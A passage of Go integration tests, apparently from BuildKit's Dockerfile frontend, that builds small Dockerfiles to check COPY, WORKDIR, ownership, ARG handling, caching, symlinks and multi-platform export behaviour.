sb.Address()) require.NoError(t, err) defer c.Close() _, err = f.Solve(context.TODO(), c, client.SolveOpt{ LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ FrontendAttrs: map[string]string{ ""filename"": ""Dockerfile2"", }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) } func testEmptyDestDir(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) isFileOp := getFileOp(t, sb) dockerfile := []byte(` FROM busybox ENV empty="""" COPY testfile $empty RUN [ ""$(cat testfile)"" == ""contents0"" ] `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""testfile"", []byte(""contents0""), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() _, err = f.Solve(context.TODO(), c, client.SolveOpt{ FrontendAttrs: map[string]string{ ""build-arg:BUILDKIT_DISABLE_FILEOP"": strconv.FormatBool(!isFileOp), }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) } func testExportCacheLoop(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) dockerfile := []byte(` FROM alpine as base RUN echo aa > /foo WORKDIR /bar FROM base as base1 COPY hello.txt . FROM base as base2 COPY --from=base1 /bar/hello.txt . RUN true FROM scratch COPY --from=base2 /foo /f `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""hello.txt"", []byte(""hello""), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) cacheDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(cacheDir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() _, err = f.Solve(context.TODO(), c, client.SolveOpt{ LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, CacheExports: []client.CacheOptionsEntry{ { Type: ""local"", Attrs: map[string]string{ ""dest"": filepath.Join(cacheDir, ""cache""), }, }, }, }, nil) require.NoError(t, err) err = c.Prune(context.TODO(), nil) require.NoError(t, err) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, CacheExports: []client.CacheOptionsEntry{ { Type: ""local"", Attrs: map[string]string{ ""dest"": filepath.Join(cacheDir, ""cache""), }, }, }, CacheImports: []client.CacheOptionsEntry{ { Type: ""local"", Attrs: map[string]string{ ""src"": filepath.Join(cacheDir, ""cache""), }, }, }, FrontendAttrs: map[string]string{}, }, nil) require.NoError(t, err) } func testTarExporter(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) dockerfile := []byte(` FROM scratch AS stage-linux COPY foo forlinux FROM scratch AS stage-darwin COPY bar fordarwin FROM stage-$TARGETOS `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""foo"", []byte(""data""), 0600), fstest.CreateFile(""bar"", []byte(""data2""), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() buf := &bytes.Buffer{} _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterTar, Output: fixedWriteCloser(&nopWriteCloser{buf}), }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) m, err := testutil.ReadTarToMap(buf.Bytes(), false) require.NoError(t, err) mi, ok := m[""forlinux""] require.Equal(t, true, ok) require.Equal(t, ""data"", string(mi.Data)) // repeat multi-platform buf = &bytes.Buffer{} _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterTar, Output: fixedWriteCloser(&nopWriteCloser{buf}), }, }, FrontendAttrs: map[string]string{ ""platform"": ""linux/amd64,darwin/amd64"", }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) m, err = testutil.ReadTarToMap(buf.Bytes(), false) require.NoError(t, err) mi, ok = m[""linux_amd64/forlinux""] require.Equal(t, true, ok) require.Equal(t, ""data"", string(mi.Data)) mi, ok = m[""darwin_amd64/fordarwin""] require.Equal(t, true, ok) require.Equal(t, ""data2"", string(mi.Data)) } func testWorkdirCreatesDir(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) dockerfile := []byte(` FROM scratch WORKDIR /foo WORKDIR / `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) fi, err := os.Lstat(filepath.Join(destDir, ""foo"")) require.NoError(t, err) require.Equal(t, true, fi.IsDir()) } func testCacheReleased(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) dockerfile := []byte(` FROM busybox `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() _, err = f.Solve(context.TODO(), c, client.SolveOpt{ LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) checkAllReleasable(t, c, sb, true) } func testSymlinkedDockerfile(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) dockerfile := []byte(` FROM scratch ENV foo bar `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile.web"", dockerfile, 0600), fstest.Symlink(""Dockerfile.web"", ""Dockerfile""), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() _, err = f.Solve(context.TODO(), c, client.SolveOpt{ LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) } func testCopyChownExistingDir(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) dockerfile := []byte(` # Set up files and directories with known ownership FROM busybox AS source RUN touch /file && chown 100:200 /file \ && mkdir -p /dir/subdir \ && touch /dir/subdir/nestedfile \ && chown 100:200 /dir \ && chown 101:201 /dir/subdir \ && chown 102:202 /dir/subdir/nestedfile FROM busybox AS test_base RUN mkdir -p /existingdir/existingsubdir \ && touch /existingdir/existingfile \ && chown 500:600 /existingdir \ && chown 501:601 /existingdir/existingsubdir \ && chown 501:601 /existingdir/existingfile # Copy files from the source stage FROM test_base AS copy_from COPY --from=source /file . # Copy to a non-existing target directory creates the target directory (as root), then copies the _contents_ of the source directory into it COPY --from=source /dir /dir # Copying to an existing target directory will copy the _contents_ of the source directory into it COPY --from=source /dir/. /existingdir RUN e=""100:200""; p=""/file"" ; a=` + ""`"" + `stat -c ""%u:%g"" ""$p""` + ""`"" + `; if [ ""$a"" != ""$e"" ]; then echo ""incorrect ownership on $p. expected $e, got $a""; exit 1; fi \ && e=""0:0""; p=""/dir"" ; a=` + ""`"" + `stat -c ""%u:%g"" ""$p""` + ""`"" + `; if [ ""$a"" != ""$e"" ]; then echo ""incorrect ownership on $p. expected $e, got $a""; exit 1; fi \ && e=""101:201""; p=""/dir/subdir"" ; a=` + ""`"" + `stat -c ""%u:%g"" ""$p""` + ""`"" + `; if [ ""$a"" != ""$e"" ]; then echo ""incorrect ownership on $p. expected $e, got $a""; exit 1; fi \ && e=""102:202""; p=""/dir/subdir/nestedfile"" ; a=` + ""`"" + `stat -c ""%u:%g"" ""$p""` + ""`"" + `; if [ ""$a"" != ""$e"" ]; then echo ""incorrect ownership on $p. expected $e, got $a""; exit 1; fi \ # Existing files and directories ownership should not be modified && e=""500:600""; p=""/existingdir"" ; a=` + ""`"" + `stat -c ""%u:%g"" ""$p""` + ""`"" + `; if [ ""$a"" != ""$e"" ]; then echo ""incorrect ownership on $p. expected $e, got $a""; exit 1; fi \ && e=""501:601""; p=""/existingdir/existingsubdir"" ; a=` + ""`"" + `stat -c ""%u:%g"" ""$p""` + ""`"" + `; if [ ""$a"" != ""$e"" ]; then echo ""incorrect ownership on $p. expected $e, got $a""; exit 1; fi \ && e=""501:601""; p=""/existingdir/existingfile"" ; a=` + ""`"" + `stat -c ""%u:%g"" ""$p""` + ""`"" + `; if [ ""$a"" != ""$e"" ]; then echo ""incorrect ownership on $p. expected $e, got $a""; exit 1; fi \ # But new files and directories should maintain their ownership && e=""101:201""; p=""/existingdir/subdir"" ; a=` + ""`"" + `stat -c ""%u:%g"" ""$p""` + ""`"" + `; if [ ""$a"" != ""$e"" ]; then echo ""incorrect ownership on $p. expected $e, got $a""; exit 1; fi \ && e=""102:202""; p=""/existingdir/subdir/nestedfile""; a=` + ""`"" + `stat -c ""%u:%g"" ""$p""` + ""`"" + `; if [ ""$a"" != ""$e"" ]; then echo ""incorrect ownership on $p. expected $e, got $a""; exit 1; fi # Copy files from the source stage and chown them. FROM test_base AS copy_from_chowned COPY --from=source --chown=300:400 /file . # Copy to a non-existing target directory creates the target directory (as root), then copies the _contents_ of the source directory into it COPY --from=source --chown=300:400 /dir /dir # Copying to an existing target directory copies the _contents_ of the source directory into it COPY --from=source --chown=300:400 /dir/. /existingdir RUN e=""300:400""; p=""/file"" ; a=` + ""`"" + `stat -c ""%u:%g"" ""$p""` + ""`"" + `; if [ ""$a"" != ""$e"" ]; then echo ""incorrect ownership on $p. expected $e, got $a""; exit 1; fi \ && e=""300:400""; p=""/dir"" ; a=` + ""`"" + `stat -c ""%u:%g"" ""$p""` + ""`"" + `; if [ ""$a"" != ""$e"" ]; then echo ""incorrect ownership on $p. expected $e, got $a""; exit 1; fi \ && e=""300:400""; p=""/dir/subdir"" ; a=` + ""`"" + `stat -c ""%u:%g"" ""$p""` + ""`"" + `; if [ ""$a"" != ""$e"" ]; then echo ""incorrect ownership on $p. expected $e, got $a""; exit 1; fi \ && e=""300:400""; p=""/dir/subdir/nestedfile"" ; a=` + ""`"" + `stat -c ""%u:%g"" ""$p""` + ""`"" + `; if [ ""$a"" != ""$e"" ]; then echo ""incorrect ownership on $p. expected $e, got $a""; exit 1; fi \ # Existing files and directories ownership should not be modified && e=""500:600""; p=""/existingdir"" ; a=` + ""`"" + `stat -c ""%u:%g"" ""$p""` + ""`"" + `; if [ ""$a"" != ""$e"" ]; then echo ""incorrect ownership on $p. expected $e, got $a""; exit 1; fi \ && e=""501:601""; p=""/existingdir/existingsubdir"" ; a=` + ""`"" + `stat -c ""%u:%g"" ""$p""` + ""`"" + `; if [ ""$a"" != ""$e"" ]; then echo ""incorrect ownership on $p. expected $e, got $a""; exit 1; fi \ && e=""501:601""; p=""/existingdir/existingfile"" ; a=` + ""`"" + `stat -c ""%u:%g"" ""$p""` + ""`"" + `; if [ ""$a"" != ""$e"" ]; then echo ""incorrect ownership on $p. expected $e, got $a""; exit 1; fi \ # But new files and directories should be chowned && e=""300:400""; p=""/existingdir/subdir"" ; a=` + ""`"" + `stat -c ""%u:%g"" ""$p""` + ""`"" + `; if [ ""$a"" != ""$e"" ]; then echo ""incorrect ownership on $p. expected $e, got $a""; exit 1; fi \ && e=""300:400""; p=""/existingdir/subdir/nestedfile""; a=` + ""`"" + `stat -c ""%u:%g"" ""$p""` + ""`"" + `; if [ ""$a"" != ""$e"" ]; then echo ""incorrect ownership on $p. expected $e, got $a""; exit 1; fi `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile.web"", dockerfile, 0600), fstest.Symlink(""Dockerfile.web"", ""Dockerfile""), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() _, err = f.Solve(context.TODO(), c, client.SolveOpt{ LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ FrontendAttrs: map[string]string{ ""target"": ""copy_from"", }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) } func testCopyWildcardCache(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) dockerfile := []byte(` FROM busybox AS base COPY foo* files/ RUN cat /dev/urandom | head -c 100 | sha256sum > unique COPY bar files/ FROM scratch COPY --from=base unique / `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""foo1"", []byte(""foo1-data""), 0600), fstest.CreateFile(""foo2"", []byte(""foo2-data""), 0600), fstest.CreateFile(""bar"", []byte(""bar-data""), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""unique"")) require.NoError(t, err) err = ioutil.WriteFile(filepath.Join(dir, ""bar""), []byte(""bar-data-mod""), 0600) require.NoError(t, err) destDir, err = ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) dt2, err := ioutil.ReadFile(filepath.Join(destDir, ""unique"")) require.NoError(t, err) require.Equal(t, string(dt), string(dt2)) err = ioutil.WriteFile(filepath.Join(dir, ""foo2""), []byte(""foo2-data-mod""), 0600) require.NoError(t, err) destDir, err = ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) dt2, err = ioutil.ReadFile(filepath.Join(destDir, ""unique"")) require.NoError(t, err) require.NotEqual(t, string(dt), string(dt2)) } func testEmptyWildcard(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) dockerfile := []byte(` FROM scratch COPY foo nomatch* / `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""foo"", []byte(""contents0""), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""foo"")) require.NoError(t, err) require.Equal(t, ""contents0"", string(dt)) } func testWorkdirUser(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) isFileOp := getFileOp(t, sb) dockerfile := []byte(` FROM busybox RUN adduser -D user USER user WORKDIR /mydir RUN [ ""$(stat -c ""%U %G"" /mydir)"" == ""user user"" ] `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() _, err = f.Solve(context.TODO(), c, client.SolveOpt{ FrontendAttrs: map[string]string{ ""build-arg:BUILDKIT_DISABLE_FILEOP"": strconv.FormatBool(!isFileOp), }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) } func testWorkdirCopyIgnoreRelative(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) isFileOp := getFileOp(t, sb) dockerfile := []byte(` FROM scratch AS base WORKDIR /foo COPY Dockerfile / FROM scratch # relative path still loaded as absolute COPY --from=base Dockerfile . `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() _, err = f.Solve(context.TODO(), c, client.SolveOpt{ FrontendAttrs: map[string]string{ ""build-arg:BUILDKIT_DISABLE_FILEOP"": strconv.FormatBool(!isFileOp), }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) } func testWorkdirExists(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) isFileOp := getFileOp(t, sb) dockerfile := []byte(` FROM busybox RUN adduser -D user RUN mkdir /mydir && chown user:user /mydir WORKDIR /mydir RUN [ ""$(stat -c ""%U %G"" /mydir)"" == ""user user"" ] `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() _, err = f.Solve(context.TODO(), c, client.SolveOpt{ FrontendAttrs: map[string]string{ ""build-arg:BUILDKIT_DISABLE_FILEOP"": strconv.FormatBool(!isFileOp), }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) } func testCopyChownCreateDest(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) isFileOp := getFileOp(t, sb) dockerfile := []byte(` FROM busybox ARG group ENV owner user01 RUN adduser -D user RUN adduser -D user01 COPY --chown=user:user . /dest COPY --chown=${owner}:${group} . /dest01 RUN [ ""$(stat -c ""%U %G"" /dest)"" == ""user user"" ] RUN [ ""$(stat -c ""%U %G"" /dest01)"" == ""user01 user"" ] `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() _, err = f.Solve(context.TODO(), c, client.SolveOpt{ FrontendAttrs: map[string]string{ ""build-arg:BUILDKIT_DISABLE_FILEOP"": strconv.FormatBool(!isFileOp), ""build-arg:group"": ""user"", }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) } func testCopyThroughSymlinkContext(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) isFileOp := getFileOp(t, sb) dockerfile := []byte(` FROM scratch COPY link/foo . `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.Symlink(""sub"", ""link""), fstest.CreateDir(""sub"", 0700), fstest.CreateFile(""sub/foo"", []byte(`contents`), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, FrontendAttrs: map[string]string{ ""build-arg:BUILDKIT_DISABLE_FILEOP"": strconv.FormatBool(!isFileOp), }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""foo"")) require.NoError(t, err) require.Equal(t, ""contents"", string(dt)) } func testCopyThroughSymlinkMultiStage(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) isFileOp := getFileOp(t, sb) dockerfile := []byte(` FROM busybox AS build RUN mkdir -p /out/sub && ln -s /out/sub /sub && ln -s out/sub /sub2 && echo -n ""data"" > /sub/foo FROM scratch COPY --from=build /sub/foo . COPY --from=build /sub2/foo bar `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, FrontendAttrs: map[string]string{ ""build-arg:BUILDKIT_DISABLE_FILEOP"": strconv.FormatBool(!isFileOp), }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""foo"")) require.NoError(t, err) require.Equal(t, ""data"", string(dt)) } func testCopySocket(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) isFileOp := getFileOp(t, sb) dockerfile := []byte(` FROM scratch COPY . / `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateSocket(""socket.sock"", 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, FrontendAttrs: map[string]string{ ""build-arg:BUILDKIT_DISABLE_FILEOP"": strconv.FormatBool(!isFileOp), }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) fi, err := os.Lstat(filepath.Join(destDir, ""socket.sock"")) require.NoError(t, err) // make sure socket is converted to regular file. require.Equal(t, fi.Mode().IsRegular(), true) } func testIgnoreEntrypoint(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) dockerfile := []byte(` FROM busybox ENTRYPOINT [""/nosuchcmd""] RUN [""ls""] `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() _, err = f.Solve(context.TODO(), c, client.SolveOpt{ LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) } func testQuotedMetaArgs(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) dockerfile := []byte(` ARG a1=""box"" ARG a2=""$a1-foo"" FROM busy$a1 AS build ARG a2 ARG a3=""bar-$a2"" RUN echo -n $a3 > /out FROM scratch COPY --from=build /out . `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, }, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""out"")) require.NoError(t, err) require.Equal(t, ""bar-box-foo"", string(dt)) } func testMultiArgs(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) dockerfile := []byte(` ARG a1=""foo bar"" a2=box ARG a3=""$a2-foo"" FROM busy$a2 AS build ARG a3 a4=""123 456"" a1 RUN echo -n ""$a1:$a3:$a4"" > /out FROM scratch COPY --from=build /out . `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, }, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""out"")) require.NoError(t, err) require.Equal(t, ""foo bar:box-foo:123 456"", string(dt)) } func testDefaultShellAndPath(t *testing.T, sb integration.Sandbox) { skipDockerd(t, sb) f := getFrontend(t, sb) dockerfile := []byte(` FROM scratch ENTRYPOINT foo bar COPY Dockerfile . `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) out := filepath.Join(destDir, ""out.tar"") outW, err := os.Create(out) require.NoError(t, err) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, FrontendAttrs: map[string]string{ ""platform"": ""windows/amd64,linux/amd64"", }, Exports: []client.ExportEntry{ { Type: client.ExporterOCI, Output: fixedWriteCloser(outW), }, }, }, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""out.tar"")) require.NoError(t, err) m, err := testutil.ReadTarToMap(dt, false) require.NoError(t, err) var idx ocispec.Index err = json.Unmarshal(m[""index.json""].Data, &idx) require.NoError(t, err) mlistHex := idx.Manifests[0].Digest.Hex() idx = ocispec.Index{} err = json.Unmarshal(m[""blobs/sha256/""+mlistHex].Data, &idx) require.NoError(t, err) require.Equal(t, 2, len(idx.Manifests)) for i, exp := range []struct { p string entrypoint []string env []string }{ {p: ""windows/amd64"", entrypoint: []string{""cmd"", ""/S"", ""/C"", ""foo bar""}, env: []string{""PATH=c:\\Windows\\System32;c:\\Windows""}}, {p: ""linux/amd64"", entrypoint: []string{""/bin/sh"", ""-c"", ""foo bar""}, env: []string{""PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin""}}, } { t.Run(exp.p, func(t *testing.T) { require.Equal(t, exp.p, platforms.Format(*idx.Manifests[i].Platform)) var mfst ocispec.Manifest err = json.Unmarshal(m[""blobs/sha256/""+idx.Manifests[i].Digest.Hex()].Data, &mfst) require.NoError(t, err) require.Equal(t, 1, len(mfst.Layers)) var img ocispec.Image err = json.Unmarshal(m[""blobs/sha256/""+mfst.Config.Digest.Hex()].Data, &img) require.NoError(t, err) require.Equal(t, exp.entrypoint, img.Config.Entrypoint) require.Equal(t, exp.env, img.Config.Env) }) } } func testExportMultiPlatform(t *testing.T, sb integration.Sandbox) { skipDockerd(t, sb) f := getFrontend(t, sb) dockerfile := []byte(` FROM scratch ARG TARGETARCH ARG TARGETPLATFORM LABEL target=$TARGETPLATFORM COPY arch-$TARGETARCH whoami `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""arch-arm"", []byte(`i am arm`), 0600), fstest.CreateFile(""arch-amd64"", []byte(`i am amd64`), 0600), fstest.CreateFile(""arch-s390x"", []byte(`i am s390x`), 0600), fstest.CreateFile(""arch-ppc64le"", []byte(`i am ppc64le`), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, FrontendAttrs: map[string]string{ ""platform"": ""windows/amd64,linux/arm,linux/s390x"", }, Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, }, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""windows_amd64/whoami"")) require.NoError(t, 